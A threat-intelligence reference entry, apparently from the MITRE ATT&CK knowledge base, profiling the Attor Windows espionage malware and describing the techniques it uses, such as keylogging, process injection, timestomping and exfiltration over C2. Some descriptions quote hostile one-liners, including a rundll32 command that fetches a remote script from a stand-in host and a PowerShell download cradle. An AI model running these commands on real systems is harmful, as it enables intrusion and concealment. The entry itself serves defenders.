Malware Attor

Attor is a Windows-based espionage platform that has been seen in use since 2013. Attor has a loadable plugin architecture to customize functionality for specific targets.

Platforms : Windows
Version : 1.1
Created : 06 May 2020
Last Modified : 11 April 2024

List of techniques used :

id	description
T1010	Application Window Discovery Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used. For example, information about application windows could be used identify potential data to collect as well as identifying security tooling (Security Software Discovery) to evade. Adversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as Command and Scripting Interpreter commands and Native API functions.
T1012	Query Registry Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. The Registry contains a significant amount of information about the operating system, configuration, software, and security. Information can easily be queried using the Reg utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from Query Registry during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
T1020	Automated Exfiltration Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel and Exfiltration Over Alternative Protocol.
T1027.013	Obfuscated Files or Information: Encrypted/Encoded File Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as Software Packing, Steganography, and Embedded Payloads, share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., Deobfuscate/Decode Files or Information) at the time of execution/use. This type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files. Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding/compression schemes such as Base64. The entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection. For example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a Phishing payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., User Execution). Adversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until Command and Scripting Interpreter execution.
T1036.004	Masquerading: Masquerade Task or Service Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description. Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones. Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.
T1037.001	Boot or Logon Initialization Scripts: Logon Script (Windows) Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system. This is done via adding a path to a script to the HKCUEnvironmentUserInitMprLogonScript Registry key. Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.
T1041	Exfiltration Over C2 Channel Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.
T1053.005	Scheduled Task/Job: Scheduled Task Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and Windows Management Instrumentation (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path. An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes. Adversaries may also create "hidden" scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions). Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.
T1055	Process Injection Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.
T1055.004	Process Injection: Asynchronous Procedure Call Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. APC injection is commonly performed by attaching malicious code to the APC Queue of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. AtomBombing is another variation that utilizes APCs to invoke malicious code previously written to the global atom table. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.
T1056.001	Input Capture: Keylogging Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems. Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. Some methods include: * Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data. * Reading raw keystroke data from the hardware buffer. * Windows Registry modifications. * Custom drivers. * Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.
T1070.004	Indicator Removal: File Deletion Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint. There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples of built-in Command and Scripting Interpreter functions include del on Windows and rm or unlink on Linux and macOS.
T1070.006	Indicator Removal: Timestomp Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files. Both the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NAME` (`$FN`) attributes record times in a Master File Table (MFT) file. `$SI` (dates/time stamps) is displayed to the end user, including in the File System view, while `$FN` is dealt with by the kernel. Modifying the `$SI` attribute is the most common method of timestomping because it can be modified at the user level using API calls. `$FN` timestomping, however, typically requires interacting with the system kernel or moving or renaming a file. Adversaries modify timestamps on files so that they do not appear conspicuous to forensic investigators or file analysis tools. In order to evade detections that rely on identifying discrepancies between the `$SI` and `$FN` attributes, adversaries may also engage in “double timestomping” by modifying times on both attributes simultaneously. Timestomping may be used along with file name Masquerading to hide malware and tools.
T1071.002	Application Layer Protocol: File Transfer Protocols Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Protocols such as SMB, FTP, FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.
T1074.001	Data Staged: Local Data Staging Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location. Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.
T1082	System Information Discovery An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version). System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment. Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.
T1083	File and Directory Discovery Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate. Custom tools may also be used to gather file and directory information and interact with the Native API. Adversaries may also leverage a Network Device CLI on network devices to gather file and directory information (e.g. dir, show flash, and/or nvram). Some files and directories may require elevated or specific user permissions to access.
T1090.003	Proxy: Multi-hop Proxy Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. For example, adversaries may construct or use onion routing networks – such as the publicly available Tor network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network. Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations. In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., Network Devices). By leveraging Patch System Image on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the Network Boundary Bridging method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.
T1105	Ingress Tool Transfer Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.
T1106	Native API Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes. These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations. Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to Command and Scripting Interpreter, the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes. This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations. Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code. Adversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks. Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via Disable or Modify Tools.
T1112	Modify Registry Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution. Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API. Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API. Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. Often Valid Accounts are required, along with access to the remote system's SMB/Windows Admin Shares for RPC communication.
T1113	Screen Capture Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.
T1115	Clipboard Data Adversaries may collect data stored in the clipboard from users copying information within or between applications. For example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard. Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., Transmitted Data Manipulation). macOS and Linux also have commands, such as pbpaste, to grab clipboard contents.
T1119	Automated Collection Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a Command and Scripting Interpreter to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. In cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. This functionality could also be built into remote access tools. This technique may incorporate use of other techniques such as File and Directory Discovery and Lateral Tool Transfer to identify and move files, as well as Cloud Service Dashboard and Cloud Storage Object Discovery to identify resources in cloud environments.
T1120	Peripheral Device Discovery Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
T1123	Audio Capture An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information. Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.
T1129	Shared Modules Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API). Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective. The Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows Native API which is called from functions like `LoadLibrary` at run time.
T1218.011	System Binary Proxy Execution: Rundll32 Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}). Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. For example, ClickOnce can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones. DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1). Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.
T1497.001	Virtualization/Sandbox Evasion: System Checks Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Windows Management Instrumentation, PowerShell, System Information Discovery, and Query Registry to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Once executed, malware may also use File and Directory Discovery to check if it was saved in a folder or file with unexpected or even analysis-related naming artifacts such as `malware`, `sample`, or `hash`. Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions. In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.
T1543.003	Create or Modify System Process: Windows Service Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via Native API functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as `PnPUtil.exe`. Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of Exploitation for Privilege Escalation. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution. To make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create ‘hidden’ services (i.e., Hide Artifacts), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`.
T1560.003	Archive Collected Data: Archive via Custom Method An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.
T1564.001	Hide Artifacts: Hidden Files and Directories Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS). On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name . Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app . On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.
T1569.002	System Services: Service Execution Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services. The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and Net. PsExec can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API. Tools such as PsExec and sc.exe can accept remote servers as arguments and may be used to conduct remote execution. Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with Windows Service during service persistence or privilege escalation.
T1573.001	Encrypted Channel: Symmetric Cryptography Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.
T1573.002	Encrypted Channel: Asymmetric Cryptography Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal. For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as Asymmetric Cryptography.

List of groups using the malware :

id	description